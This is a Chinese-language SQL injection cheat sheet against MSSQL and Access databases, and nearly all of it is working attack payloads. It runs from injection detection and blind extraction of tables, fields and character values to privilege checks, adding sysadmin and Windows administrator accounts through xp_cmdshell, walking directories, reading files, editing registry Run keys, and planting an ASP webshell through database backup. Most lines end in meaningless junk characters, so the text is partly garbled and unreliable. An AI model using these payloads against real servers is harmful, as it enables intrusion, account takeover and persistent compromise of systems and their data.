1.判断是否有注入;and 1=1 ;and 1=2 `}Z`aK
2.初步判断是否是mssql ;and user>0 2jiH&'@
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3.注入参数是字符'and [查询条件] and ''=' \hr2#!
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' [DzZ:8
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5.判断数据库系统 n3Q Rn^
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;and (select count(*) from sysobjects)>0 mssql >`(]&o6<$
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;and (select count(*) from msysobjects)>0 access &K.js
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ?6T\uzL +%
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 LX2Re
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 9O2??N7f
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9.(1)猜字段的ascii值(access) N0_@=uE
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 e"O c
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(2)猜字段的ascii值(mssql) p]E \!/
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 C!z7sOu
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10.测试权限结构(mssql) I->BDNk
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- /c:78@
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- _ ,~D]JYE
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- O=;}VZ<9
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- !}pvrBS
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- A$o7<Hx
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7Z[6_WD3
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;and 1=(select IS_MEMBER('db_owner'));-- 9T;DFUM
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11.添加mssql和系统的帐户 Q8
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;exec master.dbo.sp_addlogin username;-- rMEM$1vPU
;exec master.dbo.sp_password null,username,password;-- @b{I0+li"/
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- "p\5:<
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;exec master.dbo.xp_cmdshell 'net user username password h=
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- m[8?d~
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- (F=q/lK$
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- :xy4JRcF
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12.(1)遍历目录 X-k$6}D
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;create table dirs(paths varchar(100), id int) ag{cm'.
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;insert dirs exec master.dbo.xp_dirtree 'c:\' +Jw+rjnP
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;and (select top 1 paths from dirs)>0 ]gjB%R[.m
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) N4rDe]JnPR
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(2)遍历目录 )PCh;P0C
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- WlW7b.2.
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 %2,'x
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 B:rzM:BQ
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Zg=jDPt}
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 *iiyU}x
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13.mssql中的存储过程
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xp_regenumvalues 注册表根键, 子键 N'n\_ x
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 [oDu3Qn
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xp_regread 根键,子键,键值名 +[Bl@RHe^
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;exec xp_regread EK2mJCC|
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 lcfX(~/m^
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xp_regwrite 根键,子键, 值名, 值类型, 值 "|nh=!L
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 @XQItc<
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xp_regdeletevalue 根键,子键,值名 V(wANvH
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 hQ\W~3S55
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 T
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14.mssql的backup创建webshell ?5j}&Y3
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use model =58:e7(df
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create table cmd(str image); S1U>Q~ZPA
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insert into cmd(str) values (''); K+3+?oYKH
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backup database model to disk='c:\l.asp'; |32uC3?o
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15.mssql内置函数 6<Txkk
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;and (select @@version)>0 获得Windows的版本号 A@ZsL
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Lk2;\ D>
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;and (select user_name())>0 爆当前系统的连接用户 qQp;i{X
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;and (select db_name())>0 得到当前连接的数据库 bj,cU)t0
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16.简洁的webshell :0'vz M
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use model a St:G*a"
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create table cmd(str image); CPci
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insert into cmd(str) values (''); !0X/^Xv@=
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backup database model to disk='g:\wwwtest\l.asp';